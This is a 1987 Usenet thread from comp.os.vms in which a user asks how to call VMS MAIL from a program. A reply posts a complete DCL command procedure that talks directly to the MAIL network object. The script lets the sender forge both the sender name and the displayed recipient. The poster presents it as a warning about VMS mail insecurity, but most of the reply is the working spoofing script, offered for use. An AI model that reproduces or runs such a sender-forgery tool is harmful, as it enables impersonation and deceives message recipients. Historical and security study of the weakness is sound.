[comp.os.vms] Callable MAIL interface

8004SLB@mucsd.UUCP (Sandy) (10/27/87)

Quite a few months ago (6-18), I recall reading an article in a DEC-related
magazine, possibly "DEC Professional" or "Hardcopy", about how to invoke
MAIL from within a program to send messages to a user. If I remember correctly,
this actually called some kind of MAIL interface routines and did not simply
SPAWN MAIL. Currently I cannot find this article anywhere. Can anyone point
me in the right direction? By the way, this was not the documented interface
that is supposedly coming with VMS V5.0. This is something that works
currently.

Thanks much.
--Sandy Berger
Marquette University
Milwaukee, WI

ARPA:	marque!mucsd!8004slb@csd1.milw.wisc.edu

rrk@byuvax.bitnet (10/31/87)

Here is a command procedure which does the same thing that the program you
refer to does, and you can write a program in any VMS languages.

Unfortunately it also exposes the EXTREME insecurity of the VMS mail system.
(I hope system managers read this and try the procedure and take note that
they can never trust anything :t:hat comes through VMS mail and will not
curse me for releasing this.  The fact is that the com procedure is very
wide-spread among hackers and I think it could only help to inform system
managers.

Cut here, I guess
     
$ read sys$command/end=abort node /prompt="What node should we send to: "
$ read sys$command/end=abort who /prompt="Who do you want to be: "
$ if node .eqs. "" then node=f$logical("sys$node")
$ nul=" "
$ nul[0,8]=0
$ open/append mailcom 'node'"27="
$ write mailcom who
$ c=1
$ d=0
$ to:=""
$ doloop:
$ a=f$element(c,",",to)
$ if a .eqs. "," then read sys$command/end=outloop to /prompt="Where should it go: "
$ if a .eqs. "," then if to .eqs. "" then goto outloop
$ if a .eqs. "," then c=0
$ if a .eqs. "," then goto doloop
$ write mailcom a
$ c=c+1
$ gosub get_stat
$ if stat .and. 1 then d=d+1
$ goto doloop
$ outloop:
$ if d .eq. 0 then goto done
$ write mailcom nul
$ read sys$command/end=done too /prompt="Where should it say it goes: "
$ write mailcom too
$ read sys$command/end=abort subj /prompt="Subject: "
$ write mailcom subj
$ get_what:
$ read sys$command/end=abort what /prompt="What goes: [TT] "
$ if what .eqs. "" then what:=sys$command
$ open/error=get_what file 'what'
$ file_loop:
$ read/end=end_file_loop/error=end_file_loop file x
$ write/error=end_file_loop mailcom x
$ goto file_loop
$ end_file_loop:
$ write/error=do_stat mailcom nul
$ do_stat:
$ if d .eq. 0 then goto done
$ stat_loop:
$ gosub get_stat
$ d=d-1
$ if d .ne. 0 then goto stat_loop
$ file_done:
$ close file
$ done:
$ close mailcom
$ abort:
$ exit
$ get_stat:
$ read mailcom x
$ stat=f$cvui(0,32,x)
$ if stat .and. 1 then return
$ loop_for_stat:
$ read mailcom x
$ tip=f$cvui(0,8,x)
$ if tip .ne. 0 then write sys$output x
$ if tip .ne. 0 then goto loop_for_stat
$ return